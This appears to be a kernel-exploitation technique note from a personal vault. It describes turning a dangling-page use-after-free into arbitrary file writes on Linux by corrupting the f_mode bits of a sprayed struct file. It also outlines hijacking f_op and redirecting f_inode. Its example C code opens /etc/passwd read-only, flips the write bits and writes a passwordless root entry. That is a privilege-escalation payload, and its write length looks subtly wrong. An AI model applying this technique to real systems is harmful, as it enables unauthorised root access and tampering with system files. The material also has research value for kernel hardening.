Dirty File

#pagespray#file#fmode#uaf#dangling-page#slub#cross-cache
Requiresdangling-page-uaf
Givesarbitrary-file-write

The idea

open() checks permissions exactly once,against the real file, on disk, at the moment you call it. Every read()/write() after that never looks at the file’s real permissions again; it only checks a cached flags field sitting on the in-memory struct file object for that fd. If you can corrupt that one field after open() already succeeded, you can turn a file you opened read-only into one you can write to — without ever needing write permission on the actual file.

This is the same as Dirty Creds ,reclaim a freed/dangling page as a specific kernel struct, then corrupt it through the stale mapping — just aimed at struct file instead of struct cred. Read that note first if this isn’t already familiar. This note assumes it and focuses on what’s different about struct file as the target.


The struct and the field that matters

// include/linux/fs.h:1255
struct file {
    spinlock_t              f_lock;
    fmode_t                 f_mode;        // ← the target
    const struct file_operations *f_op;     // ← also interesting, see below
    struct address_space   *f_mapping;
    void                    *private_data;
    struct inode            *f_inode;       // ← also interesting, see below
    unsigned int             f_flags;
    unsigned int             f_iocb_flags;
    const struct cred       *f_cred;
    struct fown_struct      *f_owner;
    union {
        const struct path    f_path;
        struct path          __f_path;
    };
    ...
    file_ref_t               f_ref;
} __randomize_layout __attribute__((aligned(4)));

f_mode sits right after the lock, near the very front of the struct — exact byte offset depends on spinlock_t’s real size on your target (debug/lockdep-enabled kernels make it bigger), so confirm it with pahole/gdb on your own target rather than hardcoding a number, same caveat as every other struct in this vault.

fmode_t is a bitmask. The bits that matter for this technique (include/linux/fs.h:108-157):

#define FMODE_READ       ((__force fmode_t)(1 << 0))
#define FMODE_WRITE      ((__force fmode_t)(1 << 1))
#define FMODE_LSEEK      ((__force fmode_t)(1 << 2))
...
#define FMODE_WRITER     ((__force fmode_t)(1 << 16))
#define FMODE_CAN_READ   ((__force fmode_t)(1 << 17))
#define FMODE_CAN_WRITE  ((__force fmode_t)(1 << 18))
#define FMODE_OPENED     ((__force fmode_t)(1 << 19))

Why this actually works — the check only ever happens once

  • The real permission check, against the real inode, happens once during open()’s path resolution.
  • The result of that check gets written into f_mode once, early in the open path (OPEN_FMODE(flag), derived from whether you asked for O_RDONLY/O_WRONLY/O_RDWR and whether may_open() allowed it)
    // fs/open.c:951-957
    f->f_mode |= FMODE_OPENED;
    if ((f->f_mode & FMODE_READ) && likely(f->f_op->read || f->f_op->read_iter))
      f->f_mode |= FMODE_CAN_READ;
    if ((f->f_mode & FMODE_WRITE) && likely(f->f_op->write || f->f_op->write_iter))
      f->f_mode |= FMODE_CAN_WRITE;
    
  • From this point on, f_mode is the only thing referred. Every subsequent write to this fd goes through vfs_write():
    // fs/read_write.c:667-674
    ssize_t vfs_write(struct file *file, const char __user *buf, size_t count, loff_t *pos)
    {
      if (!(file->f_mode & FMODE_WRITE))
          return -EBADF;
      if (!(file->f_mode & FMODE_CAN_WRITE))
          return -EINVAL;
      ...
    

    No call back into may_open(), no re-check against the inode, no re-check of the mount’s read-only flag — just two bit tests against a field sitting in ordinary, corruptible kernel heap memory. Flip those two bits after open() has already returned, and vfs_write() has no way to know the file was ever opened read-only.


Where struct file actually lives — and why it’s an easy, reliable spray target

// fs/file_table.c:632-641 — files_init()
__filp_cache = kmem_cache_create("filp", sizeof(struct file), &args,
    SLAB_HWCACHE_ALIGN | SLAB_PANIC | SLAB_ACCOUNT | SLAB_TYPESAFE_BY_RCU);

Two things worth knowing about this, both directly relevant to spraying it:

It can never be merged into another cache. SLAB_TYPESAFE_BY_RCU is one of the flags in SLAB_NEVER_MERGE (mm/slab_common.c:50-52) — unlike cred (which we found silently merged into kmalloc-192 on one target), filp is guaranteed to always show up standalone in slab list//proc/slabinfo, on every kernel, every config. No merge-detection step needed, ever — confirmed directly in a real /proc/slabinfo dump:

filp    719    736    256   16    1

SLAB_TYPESAFE_BY_RCU also changes what “freed” means for this cache specifically. This flag exists so lockless, RCU-protected fd-table lookups can safely dereference a struct file * that might have just been freed, without the memory having been repurposed as some completely unrelated struct mid-read. Practically: a freed filp slot is far more likely to come back as another struct file than to be stolen by an unrelated allocation — which works in your favor for this specific spray, in contrast to cred_jar’s general multi-cache-noise problem discussed in the Dirty Creds note.


Other interesting fields, beyond f_mode

f_mode is the simplest, safest target (flip two bits, get write access), but it’s not the only thing worth knowing about once you have write access into a struct file:

  • f_op — the file’s entire operation table (read, write, read_iter, write_iter, mmap, unlocked_ioctl, …). Overwriting this pointer to point at a fake, attacker-controlled file_operations table is a much more powerful primitive than flipping f_mode — it’s a direct control-flow hijack the next time any syscall touches this fd — but it’s also much harder to land correctly (needs a valid, mapped table of function pointers at a known address) and easier to crash the kernel with if you get it wrong. f_mode corruption is the “quiet,” reliable version of this same idea.
  • f_inode / f_path — pointing your fd’s inode/path at a different file entirely. Get this right and reads/writes on your fd actually touch a different file on disk than the one you opened.

Example

Assumes you already have a dangling page pointer from some other bug (see Dirty Creds for the general primitive), and that you’ve opened your real target read-only first:


trigger_free_bug();

int spray_fds[SPRAY_N];
for (int i = 0; i < SPRAY_N; i++)
    spray_fds[i] = open("/etc/passwd", O_RDONLY); 

// somewhere in that spray, the reclaimed page becomes a struct file at slot 0 —
// same "page always maps at offset 0, so slot 0 is always the corruption target"
fmode_t *f_mode = (fmode_t *)((char *)page + F_MODE_OFFSET);   // confirm this offset on your target
*f_mode |= FMODE_WRITE | FMODE_CAN_WRITE;

for (int i = 0; i < SPRAY_N; i++)
	write(spray_fds[i], "root::0:0:root:/root:/bin/bash\n", 5);

Same structural weakness as the cred technique applies here too: you don’t know in advance which fd’s struct file landed on the reclaimed page, so a real exploit either sprays candidate fds and probes each one with a cheap write() afterward to find the one that now succeeds, or — cleaner, if you can arrange it — makes target_fd itself the last thing allocated from filp_cache before freeing the page, so it’s the one most likely to be freed-and-reused onto your reclaimed page (mirrors the “steer the LIFO freelist” reasoning from the Dirty Creds note).